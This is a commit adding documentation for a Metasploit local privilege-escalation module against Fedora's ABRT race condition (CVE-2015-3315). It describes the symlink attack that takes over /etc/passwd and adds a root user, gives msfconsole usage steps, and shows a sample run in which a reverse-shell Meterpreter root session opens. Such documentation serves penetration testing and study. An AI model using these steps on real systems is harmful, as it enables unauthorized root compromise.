Skip to content

Commit 638d6ce

Browse files
committed
Add documentation
1 parent e158ccb commit 638d6ce

File tree

1 file changed

+72
-0
lines changed

1 file changed

+72
-0
lines changed
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
## Description
2+
3+
This module attempts to gain root privileges on Fedora systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler.
4+
5+
6+
## Vulnerable Application
7+
8+
A race condition in ABRT allows local users to change ownership of arbitrary files (CVE-2015-3315). This module uses a symlink attack on `/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`, then adds a new user with UID=0 GID=0 to gain root privileges. Winning the race could take a few minutes.
9+
10+
This module has been tested successfully on ABRT packaged versions:
11+
12+
* 2.2.1-1.fc19 on Fedora 19 x86_64
13+
* 2.2.2-2.fc20 on Fedora 20 x86_64
14+
15+
Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.
16+
17+
18+
## Verification Steps
19+
20+
1. Start `msfconsole`
21+
2. Get a session
22+
3. Do: `use exploit/linux/local/abrt_raceabrt_priv_esc`
23+
4. Do: `set SESSION [SESSION]`
24+
5. Do: `check`
25+
6. Do: `run`
26+
7. You should get a new *root* session
27+
28+
29+
## Options
30+
31+
**USERNAME**
32+
33+
Username for the new UID=0 user (default: random)
34+
35+
**SESSION**
36+
37+
Which session to use, which can be viewed with `sessions`
38+
39+
**WritableDir**
40+
41+
A writable directory file system path. (default: `/tmp`)
42+
43+
44+
## Scenarios
45+
46+
```
47+
msf > use exploit/linux/local/abrt_raceabrt_priv_esc
48+
msf exploit(linux/local/abrt_raceabrt_priv_esc) > set session 1
49+
session => 1
50+
msf exploit(linux/local/abrt_raceabrt_priv_esc) > run
51+
52+
[!] SESSION may not be compatible with this module.
53+
[*] Started reverse TCP handler on 172.16.191.244:4444
54+
[*] Writing '/tmp/.C17d3UYQy' (64240 bytes) ...
55+
[*] Trying to own '/etc/passwd' - This might take a few minutes (Timeout: 900s) ...
56+
[+] Success! '/etc/passwd' is writable
57+
[*] Adding pauITBusGM user to /etc/passwd ...
58+
[*] Writing '/tmp/.u8zOz4c' (207 bytes) ...
59+
[*] Sending stage (857352 bytes) to 172.16.191.137
60+
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.137:38938) at 2018-02-03 21:29:56 -0500
61+
62+
meterpreter > getuid
63+
Server username: uid=0, gid=0, euid=0, egid=0
64+
meterpreter > sysinfo
65+
Computer : localhost.localdomain
66+
OS : Fedora 20 (Linux 3.19.8-100.fc20.x86_64)
67+
Architecture : x64
68+
BuildTuple : i486-linux-musl
69+
Meterpreter : x86/linux
70+
meterpreter >
71+
```
72+

0 commit comments

Comments
 (0)